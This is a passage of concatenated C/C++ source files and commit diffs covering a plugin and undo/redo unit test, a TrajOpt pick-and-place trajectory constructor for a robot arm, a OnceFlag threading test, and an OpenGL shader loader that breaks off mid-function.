assert_non_null(PluginHandler_findPlugin(0, "registers_plugin", "Registers View", true));
PluginHandler_unloadAllPlugins();
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void test_load_file_ok(void**)
{
size_t size;
void* ret = File_loadToMemory("examples/fake_6502/test.bin", &size, 0);
assert_non_null(ret);
assert_int_equal(size, 11);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void test_load_file_fail(void**)
{
size_t size;
void* ret = File_loadToMemory("examples/fake_6502/test_dont_exist.bin", &size, 0);
assert_null(ret);
assert_int_equal(size, 0);
}
static int g_intValue = 0;
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
struct IntAddData
{
int newValue;
int oldValue;
};
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void doAdd(int value)
{
IntAddData* addData = (IntAddData*)alloc_zero(sizeof(IntAddData));
addData->newValue = value;
Commands_execute(
{
addData,
[](void* userData)
{
IntAddData* data = (IntAddData*)userData;
data->oldValue = g_intValue;
g_intValue += data->newValue;
},
[](void* userData)
{
IntAddData* data = (IntAddData*)userData;
g_intValue = data->oldValue;
}
});
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void test_commands(void**)
{
Commands_init();
g_intValue = 0;
assert_int_equal(g_intValue, 0);
doAdd(1);
assert_int_equal(g_intValue, 1);
doAdd(1);
doAdd(1);
assert_int_equal(g_intValue, 3);
Commands_undo();
assert_int_equal(g_intValue, 2);
Commands_undo();
Commands_undo();
assert_int_equal(g_intValue, 0);
Commands_redo();
assert_int_equal(g_intValue, 1);
Commands_redo();
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int main()
{
log_set_level(LOG_NONE);
const UnitTest tests[] =
{
unit_test(plugin_handler_null_base_path),
unit_test(plugin_handler_null_plugin),
unit_test(plugin_handler_dummy_paths),
unit_test(plugin_handler_add_plugin),
unit_test(plugin_handler_add_plugin_true),
unit_test(plugin_handler_find_plugin),
unit_test(test_load_file_ok),
unit_test(test_load_file_fail),
unit_test(test_commands),
};
return run_tests(tests);
}
<|endoftext|>
|
<commit_before>#include <test_bed_core/trajopt_pick_and_place_constructor.h>
#include <trajopt/problem_description.hpp>
#include <trajopt_utils/eigen_conversions.hpp>
#include <ros/ros.h>
using namespace trajopt;
using namespace Eigen;
TrajoptPickAndPlaceConstructor::TrajoptPickAndPlaceConstructor(tesseract::BasicEnvConstPtr env,
std::string manipulator,
std::string ee_link,
std::string pick_object,
Isometry3d tcp)
: env_(env), manipulator_(manipulator), ee_link_(ee_link), pick_object_(pick_object), tcp_(tcp)
{
kin_ = env->getManipulator(manipulator_);
}
void TrajoptPickAndPlaceConstructor::addInitialJointPosConstraint(trajopt::ProblemConstructionInfo& pci)
{
std::shared_ptr<JointConstraintInfo> start_constraint = std::shared_ptr<JointConstraintInfo>(new JointConstraintInfo);
/* Fill Code:
. Define the term type (This is a constraint)
. Define the time step
. Define the constraint name
*/
/* ======== ENTER CODE HERE ======== */
start_constraint->term_type = TT_CNT;
start_constraint->timestep = 0;
start_constraint->name = "start_pos_constraint";
Eigen::VectorXd start_joint_pos = env_->getCurrentJointValues();
start_constraint->vals = std::vector<double>(start_joint_pos.data(), start_joint_pos.data() + start_joint_pos.rows());
pci.cnt_infos.push_back(start_constraint);
}
void TrajoptPickAndPlaceConstructor::addJointVelCost(trajopt::ProblemConstructionInfo& pci, double coeff)
{
std::vector<std::string> joint_names = kin_->getJointNames();
// Loop over all of the joints
// for (std::size_t i = 0; i < joint_names.size(); i++)
// {
std::shared_ptr<JointVelCostInfo> jv(new JointVelCostInfo);
jv->coeffs = std::vector<double>(7, coeff);
/* Fill Code:
. Define the term time (This is a cost)
. Define the first time step
. Define the last time step
. Define the joint name
. Define the penalty type as sco::squared
*/
/* ======== ENTER CODE HERE ======== */
// jv->name = joint_names[i] + "_vel";
jv->term_type = TT_COST;
// jv->first_step = 0;
// jv->last_step = pci.basic_info.n_steps - 1;
// jv->joint_name = joint_names[i];
// jv->penalty_type = sco::SQUARED;
pci.cost_infos.push_back(jv);
}
//}
//void TrajoptPickAndPlaceConstructor::addJointAccelCost(trajopt::ProblemConstructionInfo& pci, double coeff)
//{
// std::vector<std::string> joint_names = kin_->getJointNames();
// // Loop over all of the joints
//// for (std::size_t i = 0; i < joint_names.size(); i++)
//// {
// std::shared_ptr<JointAccCostInfo> jv(new JointAccCostInfo);
// jv->coeffs = std::vector<double>(1, coeff);
// jv->name = joint_names[i] + "_accel";
// jv->term_type = TT_COST;
// jv->first_step = 0;
// jv->last_step = pci.basic_info.n_steps - 1;
// jv->joint_name = joint_names[i];
// jv->penalty_type = sco::SQUARED;
// pci.cost_infos.push_back(jv);
// }
//}
//void TrajoptPickAndPlaceConstructor::addTotalTimeCost(ProblemConstructionInfo& pci, double coeff)
//{
// std::shared_ptr<TotalTimeTermInfo> time_cost(new TotalTimeTermInfo);
// time_cost->name = "time_cost";
// time_cost->penalty_type = sco::ABS;
// time_cost->weight = coeff;
// time_cost->term_type = TT_COST;
// pci.cost_infos.push_back(time_cost);
//}
void TrajoptPickAndPlaceConstructor::addCollisionCost(trajopt::ProblemConstructionInfo& pci,
double dist_pen,
double coeff,
int first_step,
int last_step)
{
std::shared_ptr<CollisionCostInfo> collision(new CollisionCostInfo);
/* Fill Code:
. Define the cost name
. Define the term type (This is a cost)
. Define this cost as continuous
. Define the first time step
. Define the last time step
. Set the cost gap to be 1
. Define the penalty type as sco::squared
*/
/* ======== ENTER CODE HERE ======== */
collision->name = "collision";
collision->term_type = TT_COST;
collision->continuous = true;
collision->first_step = first_step;
collision->last_step = last_step;
collision->gap = 1;
collision->info = createSafetyMarginDataVector(last_step - first_step + 1, dist_pen, coeff);
pci.cost_infos.push_back(collision);
}
void TrajoptPickAndPlaceConstructor::addLinearMotion(trajopt::ProblemConstructionInfo& pci,
Isometry3d start_pose,
Isometry3d end_pose,
int num_steps,
int first_time_step)
{
// linear delta
Vector3d xyz_delta = (end_pose.translation() - start_pose.translation()) / (num_steps - 1);
Quaterniond approach_rotation(start_pose.linear());
Matrix3d rotation_diff = (start_pose.linear().inverse() * end_pose.linear());
AngleAxisd aa_rotation_diff(rotation_diff);
double angle_delta = aa_rotation_diff.angle() / (num_steps - 1);
Vector3d delta_axis = aa_rotation_diff.axis();
// Create a series of pose constraints for linear pick motion
for (int i = 0; i < num_steps; i++)
{
/* Fill Code:
. Create a new shared_ptr<StaticPoseCostInfo>
. Define the term type (This is a constraint)
. Set the link constrained as the end effector (see class members)
. Set the correct time step for this pose
. Set the pose xyz translation
*/
/* ======== ENTER CODE HERE ======== */
std::shared_ptr<StaticPoseCostInfo> pose_constraint = std::shared_ptr<StaticPoseCostInfo>(new StaticPoseCostInfo);
pose_constraint->term_type = TT_CNT;
pose_constraint->link = ee_link_;
pose_constraint->timestep = i + first_time_step;
pose_constraint->xyz = start_pose.translation() + xyz_delta * i;
Quaterniond rotation_delta(cos(0.5 * angle_delta * i),
delta_axis.x() * sin(0.5 * angle_delta * i),
delta_axis.y() * sin(0.5 * angle_delta * i),
delta_axis.z() * sin(0.5 * angle_delta * i));
Quaterniond rotation = rotation_delta * approach_rotation;
/* Fill Code:
. Set the pose rotation
. Set pos_coeffs to all 10s
. Set rot_coeffs to all 10s
. Define the pose name as pose_[timestep]
. pushback the constraint to cnt_infos
*/
/* ======== ENTER CODE HERE ======== */
pose_constraint->wxyz = Vector4d(rotation.w(), rotation.x(), rotation.y(), rotation.z());
pose_constraint->pos_coeffs = Vector3d(10.0, 10.0, 10.0);
pose_constraint->rot_coeffs = Vector3d(10.0, 10.0, 10.0);
pose_constraint->name = "pose_" + std::to_string(i + first_time_step);
pci.cnt_infos.push_back(pose_constraint);
}
}
TrajOptProbPtr TrajoptPickAndPlaceConstructor::generatePickProblem(Isometry3d& approach_pose,
Isometry3d& final_pose,
int steps_per_phase)
{
// Create new problem
trajopt::ProblemConstructionInfo pci(env_);
/* Fill Code: Define the basic info
. Set the pci number of steps
. Set the start_fixed to false
. Set the manipulator name (see class members)
. Set dt lower limit
. Set dt upper limit
*/
/* ======== ENTER CODE HERE ======== */
// Add basic info
pci.basic_info.n_steps = steps_per_phase * 2;
pci.basic_info.start_fixed = false;
pci.basic_info.manip = manipulator_;
// pci.basic_info.dt_lower_lim = 0.2;
// pci.basic_info.dt_upper_lim = .5;
// Add kinematics
pci.kin = kin_;
// Initialize
// To use STRAIGHT_LINE - a linear interpolation of joint values
// pci.init_info.type = InitInfo::STRAIGHT_LINE;
// pci.init_info.data = numericalIK(final_pose); // Note, take the last value off if has_time=false
// To use STATIONARY - All steps initialized at start point
pci.init_info.type = InitInfo::STATIONARY;
pci.init_info.data = env_->getCurrentJointValues(pci.kin->getName()).replicate(2*steps_per_phase, 1); // Define the initial guess that is num_steps x num_joints
// Turn on time parameterization
// pci.init_info.has_time = true;
/* Fill Code: Define motion
. Add joint velocity contraint (this->addJointVelCost(pci, 5.0))
. Add joint acceleration constraint
. Add total time cost
. Add initial joint pose constraint
. Add linear motion contraints from approach_pose to final_pose
*/
/* ======== ENTER CODE HERE ======== */
this->addJointVelCost(pci, 25.0);
// this->addJointAccelCost(pci, 5.0);
// this->addTotalTimeCost(pci, 50.0);
this->addInitialJointPosConstraint(pci);
this->addLinearMotion(pci, approach_pose, final_pose, steps_per_phase, steps_per_phase);
this->addCollisionCost(pci, 0.025, 40, 0, steps_per_phase);
TrajOptProbPtr result = ConstructProblem(pci);
return result;
}
TrajOptProbPtr TrajoptPickAndPlaceConstructor::generatePlaceProblem(Isometry3d& retreat_pose,
Isometry3d& approach_pose,
Isometry3d& final_pose,
int steps_per_phase)
{
// create new problem
trajopt::ProblemConstructionInfo pci(env_);
/* Fill Code: Define the basic info
. Set the pci number of steps
. Set the start_fixed to false
. Set the manipulator name (see class members)
. Set dt lower limit
. Set dt upper limit
*/
/* ======== ENTER CODE HERE ======== */
// Add basic info
pci.basic_info.n_steps = steps_per_phase * 3;
pci.basic_info.start_fixed = false;
pci.basic_info.manip = manipulator_;
// pci.basic_info.dt_lower_lim = 0.2;
// pci.basic_info.dt_upper_lim = .5;
// Add kinematics
pci.kin = kin_;
pci.init_info.type = InitInfo::STATIONARY;
// Define the initial guess that is num_steps x num_joints
pci.init_info.data = env_->getCurrentJointValues(pci.kin->getName()).replicate(3 * steps_per_phase, 1);
// pci.init_info.has_time = true;
this->addJointVelCost(pci, 25.0);
// this->addTotalTimeCost(pci, 50.0);
this->addInitialJointPosConstraint(pci);
Eigen::Isometry3d start_pose;
pci.kin->calcFwdKin(start_pose,
env_->getState()->transforms.at(kin_->getBaseLinkName()),
env_->getCurrentJointValues(),
ee_link_,
*env_->getState());
/* Fill Code: Define motion
. Add linear motion from start_pose to retreat_pose
. Add linear motion from approach_pose to final_pose
. Add collision cost
*/
/* ======== ENTER CODE HERE ======== */
this->addLinearMotion(pci, start_pose, retreat_pose, steps_per_phase, 0);
this->addLinearMotion(pci, approach_pose, final_pose, steps_per_phase, steps_per_phase * 2);
this->addCollisionCost(pci, 0.025, 40, steps_per_phase-1, steps_per_phase * 2+1);
TrajOptProbPtr result = ConstructProblem(pci);
return result;
}
Eigen::VectorXd TrajoptPickAndPlaceConstructor::numericalIK(Isometry3d& end_pose)
{
// Create new problem construction info
trajopt::ProblemConstructionInfo pci_ik(env_);
// Only 2 steps
pci_ik.basic_info.n_steps = 2;
pci_ik.basic_info.manip = "manipulator";
pci_ik.basic_info.start_fixed = false;
pci_ik.init_info.type = InitInfo::STATIONARY;
pci_ik.kin = kin_;
pci_ik.init_info.data = env_->getCurrentJointValues(pci_ik.kin->getName());
// Set initial joint constraint
this->addInitialJointPosConstraint(pci_ik);
// Set velocity cost to get "shortest" ik solution
this->addJointVelCost(pci_ik, 10);
// Set static pose constraint
std::shared_ptr<StaticPoseCostInfo> pose_constraint = std::shared_ptr<StaticPoseCostInfo>(new StaticPoseCostInfo);
pose_constraint->term_type = TT_CNT;
pose_constraint->link = ee_link_;
pose_constraint->timestep = 1;
// Set the position and rotation
pose_constraint->xyz = end_pose.translation();
Quaterniond rotation(end_pose.data());
pose_constraint->wxyz = Vector4d(rotation.w(), rotation.x(), rotation.y(), rotation.z());
// Set the coefficients and the name
pose_constraint->pos_coeffs = Vector3d(10.0, 10.0, 10.0);
pose_constraint->rot_coeffs = Vector3d(10.0, 10.0, 10.0);
pose_constraint->name = "pose";
// Add it to the pci
pci_ik.cnt_infos.push_back(pose_constraint);
// Construct trajopt problem from info
TrajOptProbPtr problem = ConstructProblem(pci_ik);
// Create trust region
BasicTrustRegionSQP opt(problem);
opt.initialize(DblVec(problem->GetNumDOF() * 2, 0));
opt.optimize();
// Get the joint values for only the last point from the output and return them
Eigen::VectorXd output = toVectorXd(opt.x());
return output.segment(problem->GetNumDOF(), problem->GetNumDOF());
}
<commit_msg>Update Naming<commit_after>#include <test_bed_core/trajopt_pick_and_place_constructor.h>
#include <trajopt/problem_description.hpp>
#include <trajopt_utils/eigen_conversions.hpp>
#include <ros/ros.h>
using namespace trajopt;
using namespace Eigen;
TrajoptPickAndPlaceConstructor::TrajoptPickAndPlaceConstructor(tesseract::BasicEnvConstPtr env,
std::string manipulator,
std::string ee_link,
std::string pick_object,
Isometry3d tcp)
: env_(env), manipulator_(manipulator), ee_link_(ee_link), pick_object_(pick_object), tcp_(tcp)
{
kin_ = env->getManipulator(manipulator_);
}
void TrajoptPickAndPlaceConstructor::addInitialJointPosConstraint(trajopt::ProblemConstructionInfo& pci)
{
std::shared_ptr<JointPosTermInfo> start_constraint = std::shared_ptr<JointPosTermInfo>(new JointPosTermInfo);
/* Fill Code:
. Define the term type (This is a constraint)
. Define the time step
. Define the constraint name
*/
/* ======== ENTER CODE HERE ======== */
start_constraint->term_type = TT_CNT;
start_constraint->timestep = 0;
start_constraint->name = "start_pos_constraint";
Eigen::VectorXd start_joint_pos = env_->getCurrentJointValues();
start_constraint->vals = std::vector<double>(start_joint_pos.data(), start_joint_pos.data() + start_joint_pos.rows());
pci.cnt_infos.push_back(start_constraint);
}
void TrajoptPickAndPlaceConstructor::addJointVelCost(trajopt::ProblemConstructionInfo& pci, double coeff)
{
std::vector<std::string> joint_names = kin_->getJointNames();
// Loop over all of the joints
// for (std::size_t i = 0; i < joint_names.size(); i++)
// {
std::shared_ptr<JointVelCostInfo> jv(new JointVelCostInfo);
jv->coeffs = std::vector<double>(7, coeff);
/* Fill Code:
. Define the term time (This is a cost)
. Define the first time step
. Define the last time step
. Define the joint name
. Define the penalty type as sco::squared
*/
/* ======== ENTER CODE HERE ======== */
// jv->name = joint_names[i] + "_vel";
jv->term_type = TT_COST;
// jv->first_step = 0;
// jv->last_step = pci.basic_info.n_steps - 1;
// jv->joint_name = joint_names[i];
// jv->penalty_type = sco::SQUARED;
pci.cost_infos.push_back(jv);
}
//}
//void TrajoptPickAndPlaceConstructor::addJointAccelCost(trajopt::ProblemConstructionInfo& pci, double coeff)
//{
// std::vector<std::string> joint_names = kin_->getJointNames();
// // Loop over all of the joints
//// for (std::size_t i = 0; i < joint_names.size(); i++)
//// {
// std::shared_ptr<JointAccCostInfo> jv(new JointAccCostInfo);
// jv->coeffs = std::vector<double>(1, coeff);
// jv->name = joint_names[i] + "_accel";
// jv->term_type = TT_COST;
// jv->first_step = 0;
// jv->last_step = pci.basic_info.n_steps - 1;
// jv->joint_name = joint_names[i];
// jv->penalty_type = sco::SQUARED;
// pci.cost_infos.push_back(jv);
// }
//}
//void TrajoptPickAndPlaceConstructor::addTotalTimeCost(ProblemConstructionInfo& pci, double coeff)
//{
// std::shared_ptr<TotalTimeTermInfo> time_cost(new TotalTimeTermInfo);
// time_cost->name = "time_cost";
// time_cost->penalty_type = sco::ABS;
// time_cost->weight = coeff;
// time_cost->term_type = TT_COST;
// pci.cost_infos.push_back(time_cost);
//}
void TrajoptPickAndPlaceConstructor::addCollisionCost(trajopt::ProblemConstructionInfo& pci,
double dist_pen,
double coeff,
int first_step,
int last_step)
{
std::shared_ptr<CollisionTermInfo> collision(new CollisionTermInfo);
/* Fill Code:
. Define the cost name
. Define the term type (This is a cost)
. Define this cost as continuous
. Define the first time step
. Define the last time step
. Set the cost gap to be 1
. Define the penalty type as sco::squared
*/
/* ======== ENTER CODE HERE ======== */
collision->name = "collision";
collision->term_type = TT_COST;
collision->continuous = true;
collision->first_step = first_step;
collision->last_step = last_step;
collision->gap = 1;
collision->info = createSafetyMarginDataVector(last_step - first_step + 1, dist_pen, coeff);
pci.cost_infos.push_back(collision);
}
void TrajoptPickAndPlaceConstructor::addLinearMotion(trajopt::ProblemConstructionInfo& pci,
Isometry3d start_pose,
Isometry3d end_pose,
int num_steps,
int first_time_step)
{
// linear delta
Vector3d xyz_delta = (end_pose.translation() - start_pose.translation()) / (num_steps - 1);
Quaterniond approach_rotation(start_pose.linear());
Matrix3d rotation_diff = (start_pose.linear().inverse() * end_pose.linear());
AngleAxisd aa_rotation_diff(rotation_diff);
double angle_delta = aa_rotation_diff.angle() / (num_steps - 1);
Vector3d delta_axis = aa_rotation_diff.axis();
// Create a series of pose constraints for linear pick motion
for (int i = 0; i < num_steps; i++)
{
/* Fill Code:
. Create a new shared_ptr<StaticPoseCostInfo>
. Define the term type (This is a constraint)
. Set the link constrained as the end effector (see class members)
. Set the correct time step for this pose
. Set the pose xyz translation
*/
/* ======== ENTER CODE HERE ======== */
std::shared_ptr<CartPoseTermInfo> pose_constraint = std::shared_ptr<CartPoseTermInfo>(new CartPoseTermInfo);
pose_constraint->term_type = TT_CNT;
pose_constraint->link = ee_link_;
pose_constraint->timestep = i + first_time_step;
pose_constraint->xyz = start_pose.translation() + xyz_delta * i;
Quaterniond rotation_delta(cos(0.5 * angle_delta * i),
delta_axis.x() * sin(0.5 * angle_delta * i),
delta_axis.y() * sin(0.5 * angle_delta * i),
delta_axis.z() * sin(0.5 * angle_delta * i));
Quaterniond rotation = rotation_delta * approach_rotation;
/* Fill Code:
. Set the pose rotation
. Set pos_coeffs to all 10s
. Set rot_coeffs to all 10s
. Define the pose name as pose_[timestep]
. pushback the constraint to cnt_infos
*/
/* ======== ENTER CODE HERE ======== */
pose_constraint->wxyz = Vector4d(rotation.w(), rotation.x(), rotation.y(), rotation.z());
pose_constraint->pos_coeffs = Vector3d(10.0, 10.0, 10.0);
pose_constraint->rot_coeffs = Vector3d(10.0, 10.0, 10.0);
pose_constraint->name = "pose_" + std::to_string(i + first_time_step);
pci.cnt_infos.push_back(pose_constraint);
}
}
TrajOptProbPtr TrajoptPickAndPlaceConstructor::generatePickProblem(Isometry3d& approach_pose,
Isometry3d& final_pose,
int steps_per_phase)
{
// Create new problem
trajopt::ProblemConstructionInfo pci(env_);
/* Fill Code: Define the basic info
. Set the pci number of steps
. Set the start_fixed to false
. Set the manipulator name (see class members)
. Set dt lower limit
. Set dt upper limit
*/
/* ======== ENTER CODE HERE ======== */
// Add basic info
pci.basic_info.n_steps = steps_per_phase * 2;
pci.basic_info.start_fixed = false;
pci.basic_info.manip = manipulator_;
// pci.basic_info.dt_lower_lim = 0.2;
// pci.basic_info.dt_upper_lim = .5;
// Add kinematics
pci.kin = kin_;
// Initialize
// To use STRAIGHT_LINE - a linear interpolation of joint values
// pci.init_info.type = InitInfo::STRAIGHT_LINE;
// pci.init_info.data = numericalIK(final_pose); // Note, take the last value off if has_time=false
// To use STATIONARY - All steps initialized at start point
pci.init_info.type = InitInfo::STATIONARY;
pci.init_info.data = env_->getCurrentJointValues(pci.kin->getName()).replicate(2*steps_per_phase, 1); // Define the initial guess that is num_steps x num_joints
// Turn on time parameterization
// pci.init_info.has_time = true;
/* Fill Code: Define motion
. Add joint velocity contraint (this->addJointVelCost(pci, 5.0))
. Add joint acceleration constraint
. Add total time cost
. Add initial joint pose constraint
. Add linear motion contraints from approach_pose to final_pose
*/
/* ======== ENTER CODE HERE ======== */
this->addJointVelCost(pci, 25.0);
// this->addJointAccelCost(pci, 5.0);
// this->addTotalTimeCost(pci, 50.0);
this->addInitialJointPosConstraint(pci);
this->addLinearMotion(pci, approach_pose, final_pose, steps_per_phase, steps_per_phase);
this->addCollisionCost(pci, 0.025, 40, 0, steps_per_phase);
TrajOptProbPtr result = ConstructProblem(pci);
return result;
}
TrajOptProbPtr TrajoptPickAndPlaceConstructor::generatePlaceProblem(Isometry3d& retreat_pose,
Isometry3d& approach_pose,
Isometry3d& final_pose,
int steps_per_phase)
{
// create new problem
trajopt::ProblemConstructionInfo pci(env_);
/* Fill Code: Define the basic info
. Set the pci number of steps
. Set the start_fixed to false
. Set the manipulator name (see class members)
. Set dt lower limit
. Set dt upper limit
*/
/* ======== ENTER CODE HERE ======== */
// Add basic info
pci.basic_info.n_steps = steps_per_phase * 3;
pci.basic_info.start_fixed = false;
pci.basic_info.manip = manipulator_;
// pci.basic_info.dt_lower_lim = 0.2;
// pci.basic_info.dt_upper_lim = .5;
// Add kinematics
pci.kin = kin_;
pci.init_info.type = InitInfo::STATIONARY;
// Define the initial guess that is num_steps x num_joints
pci.init_info.data = env_->getCurrentJointValues(pci.kin->getName()).replicate(3 * steps_per_phase, 1);
// pci.init_info.has_time = true;
this->addJointVelCost(pci, 25.0);
// this->addTotalTimeCost(pci, 50.0);
this->addInitialJointPosConstraint(pci);
Eigen::Isometry3d start_pose;
pci.kin->calcFwdKin(start_pose,
env_->getState()->transforms.at(kin_->getBaseLinkName()),
env_->getCurrentJointValues(),
ee_link_,
*env_->getState());
/* Fill Code: Define motion
. Add linear motion from start_pose to retreat_pose
. Add linear motion from approach_pose to final_pose
. Add collision cost
*/
/* ======== ENTER CODE HERE ======== */
this->addLinearMotion(pci, start_pose, retreat_pose, steps_per_phase, 0);
this->addLinearMotion(pci, approach_pose, final_pose, steps_per_phase, steps_per_phase * 2);
this->addCollisionCost(pci, 0.025, 40, steps_per_phase-1, steps_per_phase * 2+1);
TrajOptProbPtr result = ConstructProblem(pci);
return result;
}
Eigen::VectorXd TrajoptPickAndPlaceConstructor::numericalIK(Isometry3d& end_pose)
{
// Create new problem construction info
trajopt::ProblemConstructionInfo pci_ik(env_);
// Only 2 steps
pci_ik.basic_info.n_steps = 2;
pci_ik.basic_info.manip = "manipulator";
pci_ik.basic_info.start_fixed = false;
pci_ik.init_info.type = InitInfo::STATIONARY;
pci_ik.kin = kin_;
pci_ik.init_info.data = env_->getCurrentJointValues(pci_ik.kin->getName());
// Set initial joint constraint
this->addInitialJointPosConstraint(pci_ik);
// Set velocity cost to get "shortest" ik solution
this->addJointVelCost(pci_ik, 10);
// Set static pose constraint
std::shared_ptr<CartPoseTermInfo> pose_constraint = std::shared_ptr<CartPoseTermInfo>(new CartPoseTermInfo);
pose_constraint->term_type = TT_CNT;
pose_constraint->link = ee_link_;
pose_constraint->timestep = 1;
// Set the position and rotation
pose_constraint->xyz = end_pose.translation();
Quaterniond rotation(end_pose.data());
pose_constraint->wxyz = Vector4d(rotation.w(), rotation.x(), rotation.y(), rotation.z());
// Set the coefficients and the name
pose_constraint->pos_coeffs = Vector3d(10.0, 10.0, 10.0);
pose_constraint->rot_coeffs = Vector3d(10.0, 10.0, 10.0);
pose_constraint->name = "pose";
// Add it to the pci
pci_ik.cnt_infos.push_back(pose_constraint);
// Construct trajopt problem from info
TrajOptProbPtr problem = ConstructProblem(pci_ik);
// Create trust region
BasicTrustRegionSQP opt(problem);
opt.initialize(DblVec(problem->GetNumDOF() * 2, 0));
opt.optimize();
// Get the joint values for only the last point from the output and return them
Eigen::VectorXd output = toVectorXd(opt.x());
return output.segment(problem->GetNumDOF(), problem->GetNumDOF());
}
<|endoftext|>
|
<commit_before>#include "test.h"
auto One0 = OnceFlag();
auto One1 = OnceFlag();
auto One2 = OnceFlag();
auto One3 = OnceFlag();
static int counter = 0;
static void proc()
{
CriticalSection cs;
counter++;
}
static void proc3()
{
One3.call(proc);
ThisTask::stop();
}
static void proc2()
{
unsigned event;
assert(!Tsk3);
Tsk3.startFrom(proc3); assert(!Tsk3);
One2.call(proc);
event = Tsk3.join(); assert_success(event);
ThisTask::stop();
}
static void proc1()
{
unsigned event;
assert(!Tsk2);
Tsk2.startFrom(proc2); assert(!Tsk2);
One1.call(proc);
event = Tsk2.join(); assert_success(event);
ThisTask::stop();
}
static void proc0()
{
unsigned event;
assert(!Tsk1);
Tsk1.startFrom(proc1); assert(!Tsk1);
One0.call(proc); assert(counter == 1 || counter == 4);
event = Tsk1.join(); assert_success(event);
ThisTask::stop();
}
static void test()
{
unsigned event;
assert(!Tsk0);
Tsk0.startFrom(proc0);
event = Tsk0.join(); assert_success(event);
}
extern "C"
void test_once_flag_3()
{
TEST_Notify();
TEST_Call();
}
<commit_msg>Update test_once_flag_3.cpp<commit_after>#include "test.h"
auto One0 = OnceFlag();
auto One1 = OnceFlag();
auto One2 = OnceFlag();
auto One3 = OnceFlag();
static int counter = 0;
static void proc()
{
CriticalSection cs;
counter++;
}
static void proc3()
{
One3.call(proc);
ThisTask::stop();
}
static void proc2()
{
unsigned event;
assert(!Tsk3);
Tsk3.startFrom(proc3); assert(!Tsk3);
One2.call(proc);
event = Tsk3.join(); assert_success(event);
ThisTask::stop();
}
static void proc1()
{
unsigned event;
assert(!Tsk2);
Tsk2.startFrom(proc2); assert(!Tsk2);
One1.call(proc);
event = Tsk2.join(); assert_success(event);
ThisTask::stop();
}
static void proc0()
{
unsigned event;
assert(!Tsk1);
Tsk1.startFrom(proc1); assert(!Tsk1);
One0.call(proc); assert(counter == 1 || counter == 4);
event = Tsk1.join(); assert_success(event);
ThisTask::stop();
}
static void test()
{
unsigned event;
assert(!Tsk0);
Tsk0.startFrom(proc0);
event = Tsk0.join(); assert_success(event);
}
extern "C"
void test_once_flag_3()
{
TEST_Notify();
TEST_Call();
}
<|endoftext|>
|
<commit_before>#include <GL/glew.h>
#include "Shader.hpp"
Shader::Shader(std::ifstream & ShaderFile,GLuint ProgramID,int Type,std::string name)
{
ShaderFile.seekg(0,std::ios_base::end);
int length=ShaderFile.tellg();
ShaderFile.seekg(0,std::ios_base::beg);
char * Contents=new char[length+1];
memset(Contents,0,length+1);
ShaderFile.read(Contents,length);
Contents[length]=0;
ID=glCreateShader(Type);
char ** temp=&Contents;
glShaderSource(ID,1,(const char **)temp,&length);
glCompileShader(ID);
GLint ShaderSuccess;
glGetShaderiv(ID,GL_COMPILE_STATUS,&ShaderSuccess);
if(ShaderSuccess!=GL_TRUE)
{
int LogLen;
glGetShaderiv(ID,GL_INFO_LOG_LENGTH,&LogLen);
GLchar * ShaderLog=new GLchar[LogLen];
glGetShaderInfoLog(ID,LogLen,NULL,ShaderLog);
std::cout<<name<<" failed to compile "<<Contents<<std::endl<<ShaderLog<<std::endl;
delete [] ShaderLog;
}
else
std::cout<<"Successfully compiled "<<name<<std::endl;
glAttachShader(ProgramID,ID);
delete [] Contents;
}
void Shader::Detach(GLuint ProgramID)
{
glDetachShader(ProgramID,ID);
}
Shader::~Shader()
{
glDeleteShader(ID);
}
const std::string ShaderExtensions[]={".vs.glsl",".tc.glsl",".te.glsl",".gs.glsl",".fs.glsl"};
const int ShaderTypes[]={GL_VERTEX_SHADER,GL_TESS_CONTROL_SHADER,GL_TESS_EVALUATION_SHADER,GL_GEOMETRY_SHADER,GL_FRAGMENT_SHADER};
//const int NumShaderTypes=sizeof(ShaderTypes)/sizeof(ShaderTypes[0]);
GLuint ShaderProgram::GetUniformLocation(std::string name)
{
GLuint ret= glGetUniformLocation(ID,name.c_str());
GLenum ErrorValue = glGetError();
if(ErrorValue!=GL_NO_ERROR)
std::cout<<"failed to get uniform location of "<<name<<" : "<<gluErrorString(ErrorValue)<<std::endl;
return ret;
}
void ShaderProgram::LoadShaders(std::string ShaderNames[])
{
std::ifstream ShaderFile;
for(int i=0;i<NumShaderTypes;i++)
{
ShaderFile.open(("shaders/"+ShaderNames[i]).c_str());
if(ShaderFile.good())
{
Shaders[i]=new Shader(ShaderFile,ID,ShaderTypes[i],ShaderNames[i]);
ShaderFile.close();
}
else
Shaders[i]=0;
}
glLinkProgram(ID);
glUseProgram(ID);
}
ShaderProgram::ShaderProgram(std::string VSName,std::string FSName,std::string GSName, std::string TCSName,std::string TESName)
{
ID=glCreateProgram();
std::string ShaderNames[]={VSName,FSName,GSName,TCSName,TESName};
LoadShaders(ShaderNames);
}
ShaderProgram::ShaderProgram(std::string name)
{
ID=glCreateProgram();
std::string ShaderNames[NumShaderTypes];
for(int i=0;i<NumShaderTypes;i++)
{
ShaderNames[i]=name+ShaderExtensions[i];
}
LoadShaders(ShaderNames);
}
ShaderProgram::~ShaderProgram()
{
glUseProgram(0);//for now, really should fix to only do if in use
for(int i=0;i<NumShaderTypes;i++)
{
if(Shaders[i])
{
Shaders[i]->Detach(ID);
delete Shaders[i];
}
}
glDeleteProgram(ID);
}
<commit_msg>make memset work.<commit_after>#include <GL/glew.h>
#include "Shader.hpp"
#include <string.h>
Shader::Shader(std::ifstream & ShaderFile,GLuint ProgramID,int Type,std::string name)
{
ShaderFile.seekg(0,std::ios_base::end);
int length=ShaderFile.tellg();
ShaderFile.seekg(0,std::ios_base::beg);
char * Contents=new char[length+1];
memset(Contents,0,length+1);
ShaderFile.read(Contents,length);
Contents[length]=0;
ID=glCreateShader(Type);
char ** temp=&Contents;
glShaderSource(ID,1,(const char **)temp,&length);
glCompileShader(ID);
GLint ShaderSuccess;
glGetShaderiv(ID,GL_COMPILE_STATUS,&ShaderSuccess);
if(ShaderSuccess!=GL_TRUE)
{
int LogLen;
glGetShaderiv(ID,GL_INFO_LOG_LENGTH,&LogLen);
GLchar * ShaderLog=new GLchar[LogLen];
glGetShaderInfoLog(ID,LogLen,NULL,ShaderLog);
